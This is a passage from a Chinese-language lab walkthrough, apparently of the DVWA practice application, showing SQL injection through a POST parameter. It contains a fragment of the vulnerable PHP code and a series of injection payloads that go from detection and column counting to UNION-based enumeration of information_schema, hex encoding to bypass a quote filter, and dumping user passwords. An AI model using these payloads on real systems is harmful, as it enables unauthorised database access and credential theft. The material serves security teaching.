// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) ordie( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
漏洞利用
Post 提交方式我们需要使用BurpSuite进行漏洞利用
寻找注入点并判断注入点类型
常用 SQL 执行判断语句
1 2 3
1 1 \ 1 #
查看正常SQL语句查询结果
1
1
查看 SQL 查询语句逻辑判断情况
根据 true 和 false 语句判断
1
1and1=1
1
1and1=2
查看 SQL 语句报错判断注入点类型
1
1'
1
1 #
判断 SQL 查询语句字段数
查询 SQL 语句第 1 个字段
1
1orderby1 #
查询 SQL 语句第 2 个字段
1
1orderby2 #
查询 SQL 语句第 3 个字段
1
1orderby3 #
发现报错判断该SQL 语句只能查询到 2 个字段
使用 union 语句判断报错位置
1
1unionselect1,2 #
发现该 SQL 查询语句同时存在 2 个报错点
1
1' union select 1,2,3 #
使用 union 语句查询数据库相关数据
MySQL 5.0 以上版本中自带数据库 information_schema
information_schema 存储所有数据库名,表名及列名信息
使用 -1' union 使得查询语句报错可以隐藏掉我们不需要的信息
查询数据库名
1
1unionselect1,database() #
查询数据库版本、用户名
1
-1unionselect version(),user() #
查询数据库中的表数据
1
-1unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查找数据库表中 users 中的字段
1
-1unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
因为 'users' 的 ' 被代码过滤掉了
我们需要换一种方法
例如将 users 换成十六进制 0x7573657273
1
-1unionselect1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
查询数据库 users 数据
1
-1unionselect group_concat(user),group_concat(password) from users #